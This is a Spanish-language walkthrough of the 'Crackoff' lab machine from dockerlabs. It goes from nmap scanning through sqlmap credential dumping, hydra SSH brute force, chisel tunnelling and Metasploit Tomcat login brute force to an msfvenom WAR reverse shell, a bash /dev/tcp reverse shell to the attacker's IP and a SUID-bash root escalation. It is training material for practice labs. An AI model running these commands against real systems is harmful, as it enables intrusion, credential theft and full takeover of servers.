Crackoff • Difícil

Maquina: https://dockerlabs.es/

Herramientas utilizadas:

| NMAP | SQLMAP | HYDRA | SSH | NETSTAT | CHISEL | PROXYCHAINS | METASPLOIT | MSFVENOM | NETCAT |

#1| Escaneo de puertos | NMAP

```
nmap -p- -n --open --min-rate=5000 -Pn -sSVC -vvv 172.17.0.2
```

▼ Explicación

`>> -p-`: Escanea **todos los puertos** (del 1 al 65535) en lugar de solo los puertos más comunes.

`>> -n`: Desactiva la **resolución DNS**, lo que hace que el escaneo sea más rápido al no intentar resolver los nombres de dominio.

`>> --open`: Muestra solo los puertos que están **abiertos**, ignorando los cerrados o filtrados.

`>> --min-rate 5000`: Establece una velocidad mínima de envío de paquetes a **5000 por segundo**, lo que acelera el escaneo.

`>> -Pn`: Trata al host como si estuviera **activo**, omitiendo la fase de detección de host (útil si el host no responde a ping).

`>> -sSVC`: Combina varias técnicas:

- `sS`: Escaneo **SYN** (half-open), que es rápido y sigiloso.
- `sV`: Detección de **versión** de los servicios que corren en los puertos abiertos.

- `sC`: Ejecuta **scripts básicos de NSE** (Nmap Scripting Engine) para obtener más información.

`>> -vvv`: Aumenta el nivel de **verbosidad** para obtener más detalles durante el escaneo.

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubunt
| ssh-hostkey:
|   256 3d:fc:bd:41:cb:81:e8:cd:a2:58:5a:78:68:2b:a3:04 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdH
|   256 d8:5a:63:27:60:35:20:30:a9:ec:25:36:9e:50:06:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINZLckodawlUx1KSiq+zaADv0v
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: CrackOff - Bienvenido
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
```

PUERTO 80:

Después de ver que solo los puertos **80 (HTTP)** y **22 (SSH)** estaban abiertos, me centré en el puerto 80 porque suele ser un buen punto de partida para encontrar vulnerabilidades. Al entrar a `http://172.17.0.2` en el navegador, me encontré con una página llamada **"CrackOff - Hacking Central"**. Había un enlace para **"Iniciar Sesión"**.

El panel de login parecía normal podría ser vulnerable a **inyección SQL (SQLi)**.

#2| Explotar SQLi SQLMAP

```
sqlmap -u "http://172.17.0.2/login.php" --forms --batch --dbs --time-sec=1 --c
```

▼ Explicación

`>> -u "http://172.17.0.2/login.php"`: Le digo a sqlmap que analice esta URL.

`>> --forms`: Para que pruebe automáticamente los formularios de la página.

`>> --batch`: Así no tengo que responder preguntas, sqlmap hace todo solo.

`>> --dbs`: Para que enumere las bases de datos disponibles.

`>> --time-sec=1`: Le pongo un retardo de 1 segundo entre solicitudes para que no sea tan obvio.

`>> --dump`: Para que extraiga y me muestre el contenido de las tablas.

Resultado:

```
+----+--------------------------+-----------------+
| id | password                 | username        |
+----+--------------------------+-----------------+
| 1  | password123              | rejetto         |
| 2  | alicelaultramejor        | tomitoma        |
| 3  | passwordinhack           | alice           |
| 4  | supersecurepasswordultra | whoami          |
| 5  | estrella_big             | pip             |
| 6  | colorcolorido            | rufus           |
| 7  | ultramegaverypasswordhack | jazmin          |
| 8  | unbreackroot             | rosa            |
| 9  | happypassword            | mario           |
```

```
| 10 | admin12345password       | veryhardpassword |
| 11 | carsisgood               | root             |
| 12 | badmenandwomen           | admin            |
+----+--------------------------+------------------+
```

Guardé estos datos en dos archivos:**user.txt**

(con los nombres de usuario) y **pass.txt** (con las contraseñas). Esto me serviría para el siguiente paso.

#3|Ataque de fuerza bruta al servicio SSH| HYDRA

Sabemos que el puerto 22 esta abierto, podríamos probar las credenciales encontradas anteriormente y utilizar hydra, probando combinaciones para ingresar.

```
hydra -L user.txt -P pass.txt ssh://172.17.0.2 -vV
```

▼ Explicación

`>> -L user.txt`: Le digo a hydra que use la lista de usuarios que guardé en `user.txt`.

`>> -P pass.txt`: Y que use las contraseñas de `pass.txt`.

`>> ssh://172.17.0.2`: Que el ataque sea contra el servicio SSH en la IP `172.17.0.2`.

`>> -vV`: Para que me muestre más detalles mientras hydra trabaja.

Resultado:

```
[22][ssh] host: 172.17.0.2   login: rosa   password: ultramegaverypasswordhacl
```

perfecto encontramos en el puerto 22 `rosa:ultramegaverypasswordhack`

#4|Intrusión al sistema | SSH

Con las credenciales obtenidas, me conecté al sistema usando SSH.

```
ssh rosa@172.17.0.2
```

Una vez dentro, me encontré en la sesión de la usuaria **rosa**. Esto me permitió explorar el sistema y buscar formas de escalar privilegios.

Escalada de privilegios - Enumeración de puertos locales| `netstat`

Para entender mejor el entorno y buscar posibles rutas de escalada, decidí enumerar los puertos abiertos localmente. Usé el comando:

```
netstat -punta
```

Resultado:

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8005          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 172.17.0.2:22           172.17.0.1:41524        ESTABLISHED -
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

Lo más interesante fue ver que el puerto **8080** estaba abierto localmente. Esto podría ser una oportunidad para acceder a servicios internos que no están expuestos directamente.

#5| Tunelización con Chisel | CHISEL

Para acceder al servicio en el puerto 8080, decidí usar **Chisel**, una herramienta que permite crear túneles para redirigir tráfico. Primero, me aseguré de tener Chisel en mi máquina atacante y lo transferí a la máquina víctima.

En la máquina atacante: (Nuestro HOST)

```
./chisel server --reverse -p 1111
```

En la máquina víctima:

```
./chisel client 192.168.1.101:1111 R:socks
```

Esto creó un túnel SOCKS5 que me permitió redirigir el tráfico a través de la máquina víctima

Configuración de proxychains| PROXYCHAINS

Para utilizar el túnel, modifiqué el archivo de configuración de **proxychains** en mi máquina atacante. Agregué la siguiente línea al final del archivo `/etc/proxychains.conf`

```
socks5 127.0.0.1 1080
```

Con esto, pude usar proxychains para acceder a los servicios internos de la máquina víctima a través del túnel.

#6| Fuerza bruta al panel | METASPLIT

Una vez configurado el túnel con **Chisel** y **proxychains**, pude acceder al servicio en el puerto **8080** desde mi navegador. Al entrar a `127.0.0.1:8080`, me encontré con la página de inicio de **Apache Tomcat/9.0.93**. Esto confirmó que había un servidor Tomcat corriendo en ese puerto.

Sin embargo, al intentar acceder a la **"Manager App"**, me pedía credenciales. Esto no me sorprendió, ya que el acceso a esta sección suele estar restringido por razones de seguridad.

Para obtener acceso al panel de gestión, decidí usar **Metasploit** con el módulo `tomcat_mgr_login`, que está diseñado para probar credenciales en servidores Tomcat. Ejecuté los siguientes comandos:

```
proxychains msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 127.0.0.1
set RPORT 8080
set USER_FILE /home/kali/users.txt
set PASS_FILE /home/kali/pass.txt
set TARGETURI /manager/html
run
```

▼ Explicación

`>> proxychains msfconsole`: Inicia Metasploit a través del túnel SOCKS5.

`>> use auxiliary/scanner/http/tomcat_mgr_login`: Selecciona el módulo para probar credenciales en Tomcat.

`>> set RHOSTS 127.0.0.1`: Define la dirección IP del objetivo (en este caso, localhost a través del túnel).

`>> set RPORT 8080`: Especifica el puerto donde corre Tomcat.

`>> set USER_FILE /home/kali/users.txt`: Usa la lista de usuarios que habíamos obtenido antes.

`>> set PASS_FILE /home/kali/pass.txt`: Usa la lista de contraseñas obtenida anteriormente.

`>> set TARGETURI /manager/html`: Indica la ruta del panel de gestión de Tomcat.

Resultado:

Metasploit encontró una combinación válida:

```
[+] 127.0.0.1:8080 - Login Successful: tomitoma:supersecurepasswordultra
```

Ahora tenía acceso al panel de gestión de Tomcat con el usuario **tomitoma** y la contraseña **supersecurepasswordultra**.

#7| Archivo WAR malicioso | MSFVENOM

Con acceso al panel de gestión, el siguiente paso fue obtener una **reverse shell** para tener control completo sobre el servidor. Para esto, creé un archivo **WAR malicioso** usando **msfvenom**:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=9090 -f
```

▼ Explicación

- `>> -p java/jsp_shell_reverse_tcp`: Especifica el payload para una reverse shell en Java.
- `>> LHOST=192.168.1.101`: Define la dirección IP de mi máquina atacante.
- `>> LPORT=9090`: Especifica el puerto donde escuchará la reverse shell.
- `>> -f war`: Indica que el formato de salida será un archivo WAR.
- `>> -o rev.war`: Guarda el archivo generado como `rev.war`.

Luego, subí este archivo a la sección **"Seleccione archivo WAR a cargar"** en el panel de gestión de Tomcat y lo desplegué.

Obtención de la reverse shell| Metasploit

Para recibir la reverse shell, configuré un **handler** en Metasploit con los siguientes comandos:

```
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 192.168.1.101
set LPORT 9090
exploit
```

▼ Explicación

`>> use exploit/multi/handler`: Selecciona el módulo para manejar conexiones entrantes.

`>> set payload java/jsp_shell_reverse_tcp`: Define el mismo payload que usamos en el archivo WAR.

`>> set LHOST 192.168.1.101`: Especifica la dirección IP de mi máquina atacante.

`>> set LPORT 9090`: Define el puerto donde escuchará la reverse shell.

`>> exploit`: Inicia el listener.

Finalmente, accedí a `http://127.0.0.1:8080/rev/` desde el navegador, lo que activó el archivo WAR malicioso y me devolvió una reverse shell como el usuario **tomcat**

#8| Tratamiento de la TTY | NETCAT + BASH

Una vez dentro de la reverse shell obtenida a través de Metasploit, decidí mejorarla para trabajar más cómodamente. Para ello, usé **netcat** para enviar una nueva reverse shell a mi máquina atacante. Ejecuté el siguiente comando en la shell de Metasploit:

```
bash -i >& /dev/tcp/192.168.1.101/9090 0>&1
```

Esto redirigió la shell a mi máquina atacante, donde ya tenía un listener de netcat en el puerto **9090**:

```
nc -nlvp 9090
```

Tratamiento de la TTY:

Para tener una shell interactiva y funcional, realicé el siguiente tratamiento de la TTY:

```
script /dev/null -c bash  # Creamos una sesión de bash y la ponemos en segu
stty raw -echo; fg        # Restauramos la configuración de la terminal
reset                     # Reiniciamos la terminal (escribimos "reset xterm" y presio
export TERM=xterm && export SHELL=bash  # Configuramos las variables de
stty rows 33 columns 128   # Ajustamos el tamaño de la terminal
```

Esto me permitió tener una shell completamente interactiva, con autocompletado y manejo de historial.

#9|Escalada de privilegios

Con una shell más cómoda, decidí ver si el usuario **tomcat** tenía permisos especiales para ejecutar comandos como root. Para ello, usé el comando:

```
sudo -l

Matching Defaults entries for tomcat on e95886b6af7e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sl

User tomcat may run the following commands on e95886b6af7e:
    (ALL) NOPASSWD: /opt/tomcat/bin/catalina.sh
```

Esto me indicó que podía ejecutar el script `/opt/tomcat/bin/catalina.sh` como **root** sin necesidad de contraseña. Además, noté que podía **modificar** este archivo, lo cual era una gran oportunidad para escalar privilegios.

Modificación de catalina.sh para obtener una shell como root

Para aprovechar este privilegio, modifiqué el archivo `catalina.sh` y agregué un comando que le otorga permisos **SUID** a `/bin/bash`. Los cambios que hice fueron:

1. **Primera línea**: Cambié `#!/bin/sh` por `#!/bin/bash`.
2. **Segunda línea**: Agregué `chmod u+s /bin/bash`.

```
sudo /opt/tomcat/bin/catalina.sh
```

Esto le dio permisos SUID a `/bin/bash`, lo que significa que cualquier ejecución de `bash` heredaría los permisos del propietario del archivo, en este caso, **root**.

Finalmente, para obtener una shell como root, ejecuté:

```
bash -p
root
```

Y así, conseguí una shell con privilegios de **root**.

CONSEGUIMOS EL ROOT! 💥

REDES🌐